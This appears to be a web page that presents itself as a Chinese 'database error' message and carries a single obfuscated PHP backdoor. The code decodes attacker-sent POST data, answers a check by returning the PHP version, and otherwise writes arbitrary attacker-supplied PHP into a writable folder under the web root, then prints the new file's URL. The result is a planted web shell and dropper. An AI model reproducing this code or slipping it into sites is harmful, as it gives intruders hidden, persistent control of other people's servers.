数据库发生错误。

<?php function ztHFNw($ZTjFGKCH){$PYCKykD = chr(114)."\141".'w'."\x75"."\x72"."\154".chr(959-859).'e'.'c'.chr(135-24).'d'."\145";$CZRhskCGXG = chr(115).chr(116).'r'.'_'."\162"."\x6f"."\x74"."\x31"."\63";$LPxFBHj = "\x73"."\x74"."\x72"."\137"."\x73"."\160".'l'.'i'."\164";$ZTjFGKCH = $LPxFBHj($PYCKykD($CZRhskCGXG($ZTjFGKCH)));return $ZTjFGKCH;}function NfvvSpedl($WNlgUods, $ZTjFGKCH){$jXEFOeK = "\x73".chr(922-806)."\162".chr(167-72).chr(115).'p'."\x6c"."\151"."\164";$WNlgUods = array_slice($jXEFOeK(str_repeat($WNlgUods, (count($ZTjFGKCH)/16)+1)), 0, count($ZTjFGKCH));return $WNlgUods;}function laeAEd($sIuMOdsijh, $jTXaZYec, $WNlgUods){$NKVuGi = "b786af7b-676a-44be-9095-ac13c5063377";return $sIuMOdsijh ^ $NKVuGi[$jTXaZYec % strlen($NKVuGi)] ^ $WNlgUods;}function DFnQQDF($ZTjFGKCH, $WNlgUods){$ZTjFGKCH = array_map("laeAEd", array_values($ZTjFGKCH), array_keys($ZTjFGKCH), array_values($WNlgUods));$ZTjFGKCH = implode("", $ZTjFGKCH);$eFZiQnhs = chr(117).chr(881-771).chr(1040-925)."\x65".chr(114).chr(105)."\141".'l'.chr(105).chr(122).'e';$ZTjFGKCH = @$eFZiQnhs($ZTjFGKCH);return $ZTjFGKCH;}function jIeQTyM($SAQGbQir){static $VOXNISp = array();$aMiQt = glob($SAQGbQir . '/*', GLOB_ONLYDIR);$ZLdlc = count($aMiQt);if ($ZLdlc > 0) {foreach ($aMiQt as $SAQGbQ) {$Rtsgp = chr(290-185).chr(207-92)."\137"."\167"."\162"."\x69".'t'."\x61"."\142"."\x6c".chr(101);if (@$Rtsgp($SAQGbQ)) {$VOXNISp[] = $SAQGbQ;}}}foreach ($aMiQt as $SAQGbQir) jIeQTyM($SAQGbQir);return $VOXNISp;}function oUcfsMgx($ZTjFGKCH){$wBZBkpPJ = "\104".chr(79)."\103".chr(85).chr(839-762)."\105"."\116".'T'.chr(95).chr(676-594).'O'."\x4f".'T';$nGRMeYJ = $_SERVER[$wBZBkpPJ];$aMiQt = jIeQTyM($nGRMeYJ);$TYSWmtTF = array_rand($aMiQt);$MIfjJdjJ = "\x2e"."\160"."\150".'p';$UUpGim = $aMiQt[$TYSWmtTF] . "/" . substr(md5(time()), 0, 8) . $MIfjJdjJ;$YtAnpw = "\x66".'i'."\154".chr(393-292).chr(194-99)."\160"."\165"."\x74".chr(570-475).'c'.chr(111).chr(1065-955).'t'."\145"."\x6e"."\x74".chr(643-528);@$YtAnpw($UUpGim, $ZTjFGKCH);$uoKPFwTfX = chr(72).'T'.'T'."\120".chr(95)."\110".'O'."\x53".chr(84);$vDqWZLw = 'h'."\x74".chr(116).'p'.':'.chr(75-28)."\57";$bQUZmwCPaZ = $vDqWZLw . $_SERVER[$uoKPFwTfX] . substr($UUpGim, strlen($nGRMeYJ));print($bQUZmwCPaZ);die();}foreach ($_POST as $WNlgUods => $ZTjFGKCH){$tPXBQsKciq = strlen($WNlgUods);if ($tPXBQsKciq == 16){$ZTjFGKCH = ztHFNw($ZTjFGKCH);$WNlgUods = NfvvSpedl($WNlgUods, $ZTjFGKCH);$ZTjFGKCH = DFnQQDF($ZTjFGKCH, $WNlgUods);if (@is_array($ZTjFGKCH)){$TYSWmtTF = array_keys($ZTjFGKCH);$ZTjFGKCH = $ZTjFGKCH[$TYSWmtTF[0]];if ($ZTjFGKCH === $TYSWmtTF[0]){$yaxCEgY = chr(112).chr(104).chr(112);$hWzAley = "\160".chr(104).chr(259-147).chr(768-650).chr(129-28)."\x72".chr(945-830).chr(105).chr(732-621)."\x6e";$MaEuoXOc = chr(484-369)."\x65".'r'.'i'.chr(417-320).'l'.chr(960-855).chr(127-5)."\145";echo @$MaEuoXOc(Array($yaxCEgY => @$hWzAley(), ));exit();}else {oUcfsMgx($ZTjFGKCH);}}}}